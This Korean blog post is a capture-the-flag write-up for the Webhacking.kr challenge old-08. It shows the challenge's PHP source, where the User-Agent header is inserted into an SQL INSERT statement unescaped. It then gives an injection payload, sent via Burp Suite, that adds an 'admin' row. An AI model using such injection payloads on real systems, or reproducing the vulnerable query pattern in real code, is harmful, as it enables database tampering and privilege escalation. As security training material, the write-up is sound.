본문 바로가기
웹 해킹/Webhacking.kr

[Webhacking.kr] old-08

by L3m0n S0ju 2021. 8. 31.

 

 

문제 서버에 접속하면 위와 같은 페이지가 출력된다. 소스는 아래와 같다.

 

 

 


<?php
  
include "../../config.php";
  if(
$_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent
=trim(getenv("HTTP_USER_AGENT")); // 공백 문자열 제거 후 agent에 저장
$ip=$_SERVER['REMOTE_ADDR'];
if(
preg_match("/from/i",$agent)){ //agent에 from 또는 FROM 있으면 접근 통제
  echo(
"<br>Access Denied!<br><br>");
  echo(
htmlspecialchars($agent)); // XSS 공격 방지
  exit();
}
$db dbconnect();
$count_ck mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8")); // chall8 테이블로부터 id 개수
if(
$count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); } // 데이터베이스가 어느정도 차면 chall 테이블 모든 레코드 삭제

$result mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'"); // User_Agent 값 가져오기, 처음에는 User_Agent 값이 데이터베이스에 저장되어 있지 않으므로 다른 방법을 사용해야 한다.
$ck mysqli_fetch_array($result); 

if(
$ck){
  echo 
"hi <b>".htmlentities($ck[0])."</b><p>";
  if(
$ck[0]=="admin"){
    
mysqli_query($db,"delete from chall8");
    
solve(8);
  }
}

if(!
$ck){ // 데이터가 없는 경우
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo(
"<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

 

 

 

 


코드를 분석하면 User_Agent 값을 데이터베이스에서 찾아서 가져와야하는데 처음에는 데이터가 없으므로 제일 아래 조건문을 통해 데이터를 하나씩 추가한다.

 

$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");

 

위 코드를 통해 데이터베이스에 id에 admin이라는 값을 주입해야한다. SQL Injection 공격을 사용하는데 익스플로잇 코드는 아래와 같다.

 

hello','1.1.1.1','admin'),('hello

 

위 코드를 버프스위트를 통해 $agent 부분에 삽입하면 아래와 같은 sql 문이 완성된다. 따라서 admin 데이터를 데이터베이스에 삽입할 수 있다.

 

$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('hello','1.1.1.1','admin'),('hello','{$ip}','guest')") or die("query error");

 

 

 

 

 


이후 User_Agent에 hello를 입력하고 서버에 접속하면 플래그를 획득할 수 있다.

 

 

 

 

'웹 해킹 > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-16  (0) 2021.09.04
[Webhacking.kr] old-15  (0) 2021.09.04
[Webhacking.kr] old-07  (0) 2021.08.27
[Webhacking.kr] old-06  (0) 2021.08.27
[Webhacking.kr] old-05  (0) 2021.08.26

댓글